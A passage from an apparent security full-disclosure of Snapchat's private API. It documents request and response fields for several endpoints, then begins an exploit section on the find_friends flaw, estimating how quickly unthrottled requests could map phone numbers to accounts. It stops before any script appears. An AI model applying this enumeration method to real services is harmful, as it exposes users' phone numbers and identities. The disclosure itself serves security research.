</tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail&#39;s blob data.</td> </tr> <tr> <td><code>caption_text_display</code>*</td> <td>str</td> <td><em>Not always present</em> - seems to be (seldom often) set by the client on story upload.</td> </tr> </tbody></table> <p><code>my_stories.story_notes</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>viewer</code></td> <td>str</td> <td>The viewer&#39;s account name.</td> </tr> <tr> <td><code>screenshotted</code></td> <td>bool</td> <td>Whether or not they screenshotted the segment.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>When the viewing took place.</td> </tr> <tr> <td><code>storypointer</code></td> <td>dict</td> <td>A strange dictionary with some misc. fields about the viewing.</td> </tr> </tbody></table> <p><code>my_stories.story_notes.storypointer</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mKey</code></td> <td>str</td> <td>Your account name plus the date in the format of: <code>story:{YOURACCOUNT}:YYYYMMDD</code></td> </tr> <tr> <td><code>mField</code></td> <td>str</td> <td>More time related information.</td> </tr> </tbody></table> <p><code>my_stories.story_extras</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>view_count</code></td> <td>int</td> <td>What it says on the tin.</td> </tr> <tr> <td><code>screenshot_count</code></td> <td>int</td> <td>What it says on the tin.</td> </tr> </tbody></table> <p><code>friend_stories</code> is a list of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>Friend&#39;s username.</td> </tr> <tr> <td><code>stories</code></td> <td>list</td> <td>A list of stories - See <em>below</em>.</td> </tr> </tbody></table> <p><code>friend_stories.stories.story</code> is a dictionary of:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>Friend&#39;s username (lowercase), a tilde, and the returned <code>timestamp</code>.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>Friend&#39;s username.</td> </tr> <tr> <td><code>mature_content</code></td> <td>bool</td> <td>Whether or not this segment contains mature content.</td> </tr> <tr> <td><code>client_id</code></td> <td>str</td> <td>Standard media_id in the format of <code>USERNAME~UUID</code></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The reply timestamp (<code>*1000</code>).</td> </tr> <tr> <td><code>media_id</code></td> <td>str</td> <td>An id for this specific story segment.</td> </tr> <tr> <td><code>media_key</code></td> <td>str</td> <td>base64&#39;d key for <a href="#encrypting-stories">decrypting</a> this story (note, you also need the IV!).</td> </tr> <tr> <td><code>media_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting this story (note, you also need the key!).</td> </tr> <tr> <td><code>thumbnail_iv</code></td> <td>str</td> <td>base64&#39;d IV for decrypting the thumbnail (use <code>media_key</code>!).</td> </tr> <tr> <td><code>media_type</code></td> <td>int</td> <td>The type of media: <code>0</code> for images, <code>1</code> for videos.</td> </tr> <tr> <td><code>time</code></td> <td>long</td> <td>The time this segment should be visible for.</td> </tr> <tr> <td><code>zipped</code>*</td> <td>bool</td> <td>Whether or not the blob data will be <a href="#gzipping-data">gzip</a> compressed.</td> </tr> <tr> <td><code>time_left</code></td> <td>int</td> <td>The seconds left (<code>*1000</code>, for some reason) before this story expires.</td> </tr> <tr> <td><code>media_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the story&#39;s blob data.</td> </tr> <tr> <td><code>thumbnail_url</code></td> <td>str</td> <td>A URL you can hit via GET to fetch the thumbnail&#39;s blob data.</td> </tr> <tr> <td><code>caption_text_display</code></td> <td>str</td> <td><em>Not always present</em> - seems to be (seldom often) set by the client on story upload.</td> </tr> </tbody></table> <h1 id='getting-updates-bqupdates' class='link-to'>Getting updates (<code>/bq/updates</code>) <a class='pilcrow' title='Permalink to this section' href='#getting-updates-bqupdates'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back something like a request from <a href="#logging-in-bqlogin">logging in</a>.</p> <h1 id='sending-updates-bqupdate_snaps' class='link-to'>Sending updates (<code>/bq/update_snaps</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-updates-bqupdate_snaps'>露</a></h1> <p>This lets you report snaps as viewed or screenshotted.</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">added_friends_timestamp</span><span class="o">:</span> <span class="mi">1373206707</span><span class="p">,</span> <span class="nx">json</span><span class="o">:</span> <span class="s2">&quot;{\&quot;325922384426455124r\&quot;:{\&quot;c\&quot;:0,\&quot;t\&quot;:1385378843,\&quot;replayed\&quot;:0}}&quot;</span><span class="p">,</span> <span class="nx">events</span><span class="o">:</span> <span class="s2">&quot;[]&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>added_friends_timestamp</code></td> <td>int</td> <td>The last time a friend added you - you&#39;ll get this from <a href="#logging-in-bqlogin">logging in</a> or update calls.</td> </tr> <tr> <td><code>json</code></td> <td>str</td> <td>A string representation of a dictionary of snap updates - See <em>below</em>.</td> </tr> <tr> <td><code>events</code>*</td> <td>str</td> <td>A string representation of a list of updates - used for <a href="https://gibsonsec.org/snapchat/">BroadcastSnap</a> views and misc analytics data.</td> </tr> </tbody></table> <p><code>json</code> is a string representation of a dictionary like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>key</em></td> <td>str</td> <td>The ID of the snap we&#39;re pushing updates on.</td> </tr> <tr> <td><code>c</code></td> <td>int</td> <td>Whether this is: seen, <code>0</code>; screenshotted, <code>1</code></td> </tr> <tr> <td><code>t</code></td> <td>int</td> <td>A timestamp of when this event occurred.</td> </tr> <tr> <td><code>replayed</code></td> <td>int</td> <td>How many times this snap has been <em>replayed</em>.</td> </tr> </tbody></table> <p><code>events</code> is a string representation of a list of dictionaries like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>mEventName</code></td> <td>str</td> <td>The type of event that happened. (e.g: <code>ERROR: SnapEncryptionAlgorithm.decrypt failed</code>)</td> </tr> <tr> <td><code>mParams</code></td> <td>str</td> <td>A string representation of a dictionary, usually with the single key <code>message</code>.</td> </tr> <tr> <td><code>mTimestamp</code></td> <td>int</td> <td>Timestamp of when this event occurred.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.</p> <h1 id='sending-more-updates-bqupdate_stories' class='link-to'>Sending more updates (<code>/bq/update_stories</code>) <a class='pilcrow' title='Permalink to this section' href='#sending-more-updates-bqupdate_stories'>露</a></h1> <p>This lets you report stories as viewed or screenshotted (much like above).</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">friend_stories</span><span class="o">:</span> <span class="s2">&quot;[{\&quot;id\&quot;:\&quot;someguy~1385712923240\&quot;,\&quot;screenshot_count\&quot;:0,\&quot;timestamp\&quot;:1385712932690}]&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>friend_stories</code></td> <td>str</td> <td>A string representation of a list of updates - See <em>below</em>.</td> </tr> </tbody></table> <p><code>friend_stories</code> is a string representation of a list of dictionarys like:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>id</code></td> <td>str</td> <td>The story segment id we&#39;re pushing updates on.</td> </tr> <tr> <td><code>screenshot_count</code></td> <td>int</td> <td>How many screenshots we&#39;ve taken of this segment.</td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>A timestamp of when this event occurred.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.</p> <h1 id='clearing-your-feed-phclear' class='link-to'>Clearing your feed (<code>/ph/clear</code>) <a class='pilcrow' title='Permalink to this section' href='#clearing-your-feed-phclear'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">)</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.</p> <h1 id='updating-your-account-settings-phsettings' class='link-to'>Updating your account settings (<code>/ph/settings</code>) <a class='pilcrow' title='Permalink to this section' href='#updating-your-account-settings-phsettings'>露</a></h1> <p>There are a few request fields that are consistent in use across <code>/ph/settings</code>:</p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td>The action we&#39;re taking: <code>updateBirthday</code>, <code>updateEmail</code>, <code>updatePrivacy</code>, or <code>updateStoryPrivacy</code>.</td> </tr> </tbody></table> <h2 id='updating-your-birthday' class='link-to'>Updating your birthday <a class='pilcrow' title='Permalink to this section' href='#updating-your-birthday'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">.</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updateBirthday&quot;</span><span class="p">,</span> <span class="nx">birthday</span><span class="o">:</span> <span class="s2">&quot;02-25&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateBirthday</code></td> </tr> <tr> <td><code>birthday</code></td> <td>str</td> <td>Your birthday in the format <code>MM-DD</code>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;Birthday updated&quot;</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">&quot;0000-02-25&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>Your birthday, in the format <code>0000-MM-DD</code>.</td> </tr> </tbody></table> <h2 id='updating-your-attached-email' class='link-to'>Updating your attached email <a class='pilcrow' title='Permalink to this section' href='#updating-your-attached-email'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updateEmail&quot;</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="96eff9e3d6f3eef7fbe6faf3b8f9e4f1">[email&#160;protected]</a>&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateEmail</code></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your current email you&#39;d like linked to the account.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;Email updated&quot;</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3940564c795c41585449555c17564b5e">[email&#160;protected]</a>&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>email</code>.</td> </tr> </tbody></table> <h2 id='updating-your-account-privacy' class='link-to'>Updating your account privacy <a class='pilcrow' title='Permalink to this section' href='#updating-your-account-privacy'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updatePrivacy&quot;</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">&quot;1&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updatePrivacy</code></td> </tr> <tr> <td><code>privacySetting</code></td> <td>str</td> <td>The new privacy setting: public, <code>0</code>; private, <code>1</code>;</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;Snap privacy updated&quot;</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">&quot;1&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>privacySetting</code>.</td> </tr> </tbody></table> <h2 id='updating-your-story-privacy' class='link-to'>Updating your story privacy <a class='pilcrow' title='Permalink to this section' href='#updating-your-story-privacy'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updateStoryPrivacy&quot;</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">&quot;EVERYONE&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateStoryPrivacy</code></td> </tr> <tr> <td><code>privacySetting</code></td> <td>str</td> <td>The new privacy setting: public, <code>EVERYONE</code>; friends only, <code>FRIENDS</code>; or a custom selection, <code>CUSTOM</code>;</td> </tr> </tbody></table> <p>The privacy setting <code>CUSTOM</code> requires an extra field called <code>storyFriendsToBlock</code>:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updateStoryPrivacy&quot;</span><span class="p">,</span> <span class="nx">privacySetting</span><span class="o">:</span> <span class="s2">&quot;CUSTOM&quot;</span><span class="p">,</span> <span class="nx">storyFriendsToBlock</span><span class="o">:</span> <span class="s2">&quot;[&#39;teamsnapchat&#39;,&#39;another_username&#39;]&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>storyFriendsToBlock</code></td> <td>str</td> <td>A string representation of a JSON list of friend usernames to block from seeing your stories.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;Story privacy updated&quot;</span><span class="p">,</span> <span class="nx">param</span><span class="o">:</span> <span class="s2">&quot;EVERYONE&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>message</code></td> <td>str</td> <td>A user presentable message explaining what action was taken.</td> </tr> <tr> <td><code>param</code></td> <td>str</td> <td>The given <code>privacySetting</code>.</td> </tr> </tbody></table> <h2 id='updating-your-maturity-settings' class='link-to'>Updating your maturity settings <a class='pilcrow' title='Permalink to this section' href='#updating-your-maturity-settings'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&quot;updateCanViewMatureContent&quot;</span><span class="p">,</span> <span class="nx">canViewMatureContent</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><em>Various</em></td> <td></td> <td>See above.</td> </tr> <tr> <td><code>action</code></td> <td>str</td> <td><code>updateCanViewMatureContent</code></td> </tr> <tr> <td><code>canViewMatureContent</code></td> <td>bool</td> <td>The new maturity setting, as a boolean.</td> </tr> </tbody></table> <p>For some reason this <em>never</em> replies with anything other than a <code>200 OK</code> with no body content.<br> If your request was <strong>successful</strong> (read: didn&#39;t break), you&#39;ll get a <code>200 OK</code> with no body content.</p> <h1 id='updating-feature-settings-bqupdate_feature_settings' class='link-to'>Updating feature settings (<code>/bq/update_feature_settings</code>) <a class='pilcrow' title='Permalink to this section' href='#updating-feature-settings-bqupdate_feature_settings'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">settings</span><span class="o">:</span> <span class="s2">&quot;{\&quot;smart_filters\&quot;: false, \&quot;visual_filters\&quot;: false, \&quot;special_text\&quot;: true, \&quot;replay_snaps\&quot;: false, \&quot;front_facing_flash\&quot;: false}&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>settings</code></td> <td>str</td> <td>A string representation of a dictionary telling Snapchat which feature settings you&#39;ve enabled. Features are: <code>smart_filters</code>, <code>visual_filters</code>, <code>special_text</code>, <code>replay_snaps</code>, <code>front_facing_flash</code>.</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back a <code>200 OK</code> with no body content.</p> <h1 id='choosing-your-number-of-best-friends-bqset_num_best_friends' class='link-to'>Choosing your number of best friends (<code>/bq/set_num_best_friends</code>) <a class='pilcrow' title='Permalink to this section' href='#choosing-your-number-of-best-friends-bqset_num_best_friends'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">auth_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">num_best_friends</span><span class="o">:</span> <span class="mi">3</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>num_best_friends</code></td> <td>int</td> <td>How many best friends you&#39;d like to display (one of <code>3</code>, <code>5</code>, <code>7</code>).</td> </tr> </tbody></table> <p>If your request was <strong>successful</strong>, you&#39;ll get back something like this back:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">best_friends</span><span class="o">:</span> <span class="p">[</span><span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="s2">&quot;gibsec&quot;</span><span class="p">]</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>best_friends</code></td> <td>list</td> <td>A list of your best friends.</td> </tr> </tbody></table> <h1 id='obligatory-exploit-pocs' class='link-to'>Obligatory exploit POCs <a class='pilcrow' title='Permalink to this section' href='#obligatory-exploit-pocs'>露</a></h1> <p>What would our full disclosure be if not tied together with some obligatory proof of concept scripts? We&#39;ve taken some of our favorite exploits and turned them into lovely POC scripts for you to tinker with and hack to your heart&#39;s content.</p> <h2 id='the-find_friends-exploit' class='link-to'>The find_friends exploit <a class='pilcrow' title='Permalink to this section' href='#the-find_friends-exploit'>露</a></h2> <p>This is one of our personal favorites since it&#39;s just so ridiculously easy to exploit. A single request (once logged in, of course!) to <code>/ph/find_friends</code> can find out whether or not a phone number is attached to an account.</p> <p>This is one of the things we initially wrote about in our <a href="https://gibsonsec.org/snapchat/">previous release</a>, approximately <em>four months ago</em> (at the time of writing)! They&#39;ve yet to add any rate limiting to this, so we thought we&#39;d add a non-watered down version of the exploit to this release; maybe Evan Spiegel will fix it when someone finds <em>his</em> phone number via this?</p> <p>We did some back-of-the-envelope calculations based on some number crunching we did (on an unused range of numbers). We were able to crunch through <em>10 thousand</em> phone numbers (an entire sub-range in the American number format <code>(XXX) YYY-ZZZZ</code> - we did the Z&#39;s) in approximately 7 minutes on a gigabit line on a virtual server. Given some asynchronous optimizations, we believe that you could potentially crunch through that many in as little as a minute and a half (or, as a worst case, two minutes). This means you&#39;d be railing through as many as <em>6666</em> phone numbers a minute (or, in our worst case, <em>5000</em>!).</p> <p>Using the <a href="http://news.cnet.com/8301-1023_3-57590968-93/snapchat-snapshot-app-counts-8m-adult-users-in-u.s/">reported 8 million users in June</a> as a rough estimate for Snapchat&#39;s user base (however, it will have undoubtedly exponentially grown since then), we can do some rough calculations on how long it would take to crunch through all of Snapchat&#39;s user base (<em>clarification:</em> we mean how long it would take to crunch through 8 million American numbers, seeing as it&#39;s still hit and miss):</p> <p>Given <code>user_base = 8,000,000</code>, and a <em>numbers crunchable per minute</em> (<code>ncpm</code>) of approximately <code>6666</code>, we can assume that it would take approximately <em>20 hours</em> for one $10 virtual server to eat through and find every user&#39;s phone number (<code>hours = user_base / (ncpm*60)</code>). At our worst case of <code>ncpm = 5000</code>, it would take approximately <em>26.6 hours</em>.</p> <p>This is all assuming that user&#39;s phone numbers are:</p> <ul> <li>All incremental (e.g. <code>(000) 000-0000</code>, <code>(000) 000-0001</code>, ...)</li> <li>All American.</li> </ul> <p>Evidently (fortunately?) this is not the case, however, it&#39;s sort of scary to think about, isn&#39;t it? Hopping through the particularly &quot;rich&quot; area codes of America, potential malicious entities could create large databases of phone numbers -&gt; Snapchat accounts in minutes.</p> <p>In an entire month, you could crunch through as many as <strong>292 million</strong> numbers with a single server (<code>(ncpm*60)*730</code>, approximately 730 hours in a month). Add more servers (or otherwise increase your number crunching capabilities) and you can get through a seemingly infinite amount of numbers. It&#39;s unlikely Snapchat&#39;s end would ever be the bottleneck in this, seeing as it&#39;s run on Google App Engine, which (as we all know) is an absolute tank when it comes to handling load.</p> <p>The following script will simply read a list of numbers from 